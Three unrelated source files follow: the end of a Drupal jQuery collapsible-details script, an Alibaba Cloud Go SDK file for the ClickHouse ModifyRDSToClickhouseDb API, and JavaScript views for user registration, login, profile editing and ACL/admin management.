          CollapsibleDetails.instances.push(new CollapsibleDetails($collapsibleDetails[i]));
        }
      }
    }
  };

  var handleFragmentLinkClickOrHashChange = function handleFragmentLinkClickOrHashChange(e, $target) {
    $target.parents('details').not('[open]').find('> summary').trigger('click');
  };

  $('body').on('formFragmentLinkClickOrHashChange.details', handleFragmentLinkClickOrHashChange);

  Drupal.CollapsibleDetails = CollapsibleDetails;
})(jQuery, Modernizr, Drupal);


text:
package clickhouse

//Licensed under the Apache License, Version 2.0 (the "License");
//you may not use this file except in compliance with the License.
//You may obtain a copy of the License at
//
//http://www.apache.org/licenses/LICENSE-2.0
//
//Unless required by applicable law or agreed to in writing, software
//distributed under the License is distributed on an "AS IS" BASIS,
//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//See the License for the specific language governing permissions and
//limitations under the License.
//
// Code generated by Alibaba Cloud SDK Code Generator.
// Changes may cause incorrect behavior and will be lost if the code is regenerated.

import (
	"github.com/aliyun/alibaba-cloud-sdk-go/sdk/requests"
	"github.com/aliyun/alibaba-cloud-sdk-go/sdk/responses"
)

// ModifyRDSToClickhouseDb invokes the clickhouse.ModifyRDSToClickhouseDb API synchronously
func (client *Client) ModifyRDSToClickhouseDb(request *ModifyRDSToClickhouseDbRequest) (response *ModifyRDSToClickhouseDbResponse, err error) {
	response = CreateModifyRDSToClickhouseDbResponse()
	err = client.DoAction(request, response)
	return
}

// ModifyRDSToClickhouseDbWithChan invokes the clickhouse.ModifyRDSToClickhouseDb API asynchronously
func (client *Client) ModifyRDSToClickhouseDbWithChan(request *ModifyRDSToClickhouseDbRequest) (<-chan *ModifyRDSToClickhouseDbResponse, <-chan error) {
	responseChan := make(chan *ModifyRDSToClickhouseDbResponse, 1)
	errChan := make(chan error, 1)
	err := client.AddAsyncTask(func() {
		defer close(responseChan)
		defer close(errChan)
		response, err := client.ModifyRDSToClickhouseDb(request)
		if err != nil {
			errChan <- err
		} else {
			responseChan <- response
		}
	})
	if err != nil {
		errChan <- err
		close(responseChan)
		close(errChan)
	}
	return responseChan, errChan
}

// ModifyRDSToClickhouseDbWithCallback invokes the clickhouse.ModifyRDSToClickhouseDb API asynchronously
func (client *Client) ModifyRDSToClickhouseDbWithCallback(request *ModifyRDSToClickhouseDbRequest, callback func(response *ModifyRDSToClickhouseDbResponse, err error)) <-chan int {
	result := make(chan int, 1)
	err := client.AddAsyncTask(func() {
		var response *ModifyRDSToClickhouseDbResponse
		var err error
		defer close(result)
		response, err = client.ModifyRDSToClickhouseDb(request)
		callback(response, err)
		result <- 1
	})
	if err != nil {
		defer close(result)
		callback(nil, err)
		result <- 0
	}
	return result
}

// ModifyRDSToClickhouseDbRequest is the request struct for api ModifyRDSToClickhouseDb
type ModifyRDSToClickhouseDbRequest struct {
	*requests.RpcRequest
	ResourceOwnerId      requests.Integer `position:"Query" name:"ResourceOwnerId"`
	RdsVpcId             string           `position:"Query" name:"RdsVpcId"`
	CkPassword           string           `position:"Query" name:"CkPassword"`
	RdsSynTables         string           `position:"Query" name:"RdsSynTables"`
	RdsPassword          string           `position:"Query" name:"RdsPassword"`
	CkUserName           string           `position:"Query" name:"CkUserName"`
	RdsSynDb             string           `position:"Query" name:"RdsSynDb"`
	ResourceOwnerAccount string           `position:"Query" name:"ResourceOwnerAccount"`
	DbClusterId          string           `position:"Query" name:"DbClusterId"`
	OwnerAccount         string           `position:"Query" name:"OwnerAccount"`
	RdsId                string           `position:"Query" name:"RdsId"`
	OwnerId              requests.Integer `position:"Query" name:"OwnerId"`
	ClickhousePort       requests.Integer `position:"Query" name:"ClickhousePort"`
	LimitUpper           requests.Integer `position:"Query" name:"LimitUpper"`
	RdsPort              requests.Integer `position:"Query" name:"RdsPort"`
	SkipUnsupported      requests.Boolean `position:"Query" name:"SkipUnsupported"`
	RdsUserName          string           `position:"Query" name:"RdsUserName"`
}

// ModifyRDSToClickhouseDbResponse is the response struct for api ModifyRDSToClickhouseDb
type ModifyRDSToClickhouseDbResponse struct {
	*responses.BaseResponse
	RequestId string `json:"RequestId" xml:"RequestId"`
	Status    int64  `json:"Status" xml:"Status"`
	ErrorMsg  string `json:"ErrorMsg" xml:"ErrorMsg"`
	ErrorCode int64  `json:"ErrorCode" xml:"ErrorCode"`
}

// CreateModifyRDSToClickhouseDbRequest creates a request to invoke ModifyRDSToClickhouseDb API
func CreateModifyRDSToClickhouseDbRequest() (request *ModifyRDSToClickhouseDbRequest) {
	request = &ModifyRDSToClickhouseDbRequest{
		RpcRequest: &requests.RpcRequest{},
	}
	request.InitWithApiInfo("clickhouse", "2019-11-11", "ModifyRDSToClickhouseDb", "", "")
	request.Method = requests.POST
	return
}

// CreateModifyRDSToClickhouseDbResponse creates a response to parse from ModifyRDSToClickhouseDb response
func CreateModifyRDSToClickhouseDbResponse() (response *ModifyRDSToClickhouseDbResponse) {
	response = &ModifyRDSToClickhouseDbResponse{
		BaseResponse: &responses.BaseResponse{},
	}
	return
}


text:
_r(function (app) {
  if ( ! window.app.views.hasOwnProperty('user')) {
    app.views.user = {};
  }

  /**
   * #/user/index
   */
  app.views.user.index = app.base.listView.extend({

    collection: app.collections.User,
    auto_render: true

  });

  /**
   * #/user/register
   */
  app.views.user.register = app.base.formView.extend({

    auto_render: true,
    model: app.models.User,
    max_age: 0,
    wait_for_user_loaded: false,
    reload_on_login: true,
    requires_login: false,

    render: function () {
      if (app.user_self.get('name')) {
        app.back();
      } else {
        app.base.formView.prototype.render.apply(this, _.toArray(arguments));
      }
    },

    saved: function () {
      this.reload_on_login = false; // we only want to reload if the login is not from here.
      app.once('user_loaded', function () {
        app.go('user/profile/');
        app.trigger('login');
      });
      app.user_self.load();
    }

  });

  /**
   * #/user/profile
   */
  app.views.user.profile = app.base.pageView.extend({

    auto_render: true,
    model: app.models.User,

    load: function (callback) {
      var self = this;
      var id = this.params[0] || app.user_self.id;
      this.model.set({'id': id});
      this.model.fetch()
        .always(function (res) {
          callback(res.status >= 400, self.model);
        });
    }

  });

  /**
   * #/user/edit_profile(/:id)
   */
  app.views.user.edit_profile = app.base.formView.extend({

    auto_render: true,
    model: app.models.User,
    max_age: 0,

    edit_is_self: false,

    events: {
      'click form.acl label a': 'markAclInputs',
      'change .acl :checkbox': 'changeAcl',
      'change .admin :checkbox': 'changeAdmin'
    },

    init: function () {
      var default_acl = ['view', 'list', 'create', 'edit', 'delete'];
      this.addLocals({
        acl: {
          'User': ['self'].concat(default_acl.concat(['grant'])),
          'Db': ['view', 'connection', 'select', 'prefix'],
          'Model': ['view', 'list'],
          'Instance': default_acl
        }
      });
    },

    load: function (callback) {
      if (this.params[0] && app.user_self.may('edit', 'User')) {
        this.model.id = this.params[0];
      } else {
        this.model.id = app.user_self.id;
        this.edit_is_self = true;
      }
      this.model.fetch(function (user, response) {
        callback(null, user);
      });
    },

    saved: function () {
      if (this.edit_is_self) {
        app.user_self.set(this.model.toJSON());
      }
      app.go('user/profile/'+this.model.id);
    },

    markAclInputs: function (e) {
      var $target = $(e.target);
      var boxes = $target.closest('.control-group').find(':checkbox');
      if ($target.hasClass('setRead')) {
        boxes
          .filter('[data-action="view"], [data-action="list"]')
          .click();
      }
      if ($target.hasClass('setWrite')) {
        boxes
          .filter('[data-action="create"], [data-action="edit"], [data-action="delete"]')
          .click();
      }
    },

    getChangeCallback: function ($target, checked) {
      return function (err) {
        var class_name = 'success_blink';
        if (err) {
          class_name = 'error_blink';
          $target.prop('checked', !checked);
        }
        var $parent = $target.parent().addClass(class_name);
        setTimeout(function () {
          $target.attr('disabled', false);
          $parent.removeClass(class_name);
        }, 500);
      };
    },

    changeAcl: function (e) {
      var $target = $(e.target);
      var checked = $target.prop('checked');
      var allow_or_deny = checked ? 'allow' : 'deny';
      $target.attr('disabled', true);
      this.model.changeAcl(allow_or_deny, $target.data('action'), $target.data('subject'), this.getChangeCallback($target, checked));
    },

    changeAdmin: function (e) {
      var self = this;
      var $target = $(e.target);
      var checked = $target.prop('checked');
      var name = this.model.get('name');
      var done = self.getChangeCallback($target, checked);
      var cancel = function () {
        $target.prop('checked', !checked);
        $target.attr('disabled', false);
      };

      $target.attr('disabled', true);

      if ( ! checked) {
        if (this.model.id === app.user_self.id) {
          app.overlay({
            view: 'confirm_take_self_admin',
            locals: {
              text: this._t('admin.self_warning')
            },
            confirm: function () {
              self.model.changeAdmin(false, done);
            },
            cancel: cancel
          });
        } else {
          self.model.changeAdmin(false, done);
        }
      } else {
        app.overlay({
          view: 'confirm_grant_admin',
          locals: {
            text: this._t(['admin.grant_warning', name])
          },
          confirm: function () {
            self.model.changeAdmin(true, done);
          },
          cancel: cancel
        });
      }
    }

  });

  /**
   * #/user/login or manual call
   */
  app.views.user.login = app.base.formView.extend({

    model: app.models.Self,

    auto_render: true,
    max_age: 0,
    wait_for_user_loaded: false,
    requires_login: false,
    reload_on_login: false,

    init: function () {
      var self = this;
      this.bind('rendered', function () {
        self.$el.find('input[type="text"]').focus();
      });
    },

    /**
     * Login successful
     */
    saved: function () {
      $.jGrowl('Login successful');
      app.user_self.set(this.model.toJSON());

      if (app.current.view instanceof app.views.user.login) {
        app.go('#');
      } else {
        app.closeOverlay();
      }

      app.trigger('login');
    }

  });

  /**
   * #/user/logout
   */
  app.views.user.logout = app.base.pageView.extend({
    init: function () {
      if (app.user_self) {
        app.user_self.logout();
      }
    }
  });

  /**
   * Userbox
   */
  app.views.userbox = app.base.pageView.extend({

    requires_login: false,

    model: app.user_self,

    module: 'user',
    action: 'userbox',

    $el: $('#userbox'),
    auto_render: true,

    init: function () {
      this.model.bind('change:name', this.render);
    },

    load: function (callback) {
      callback(null, app.user_self);
    }
  });

});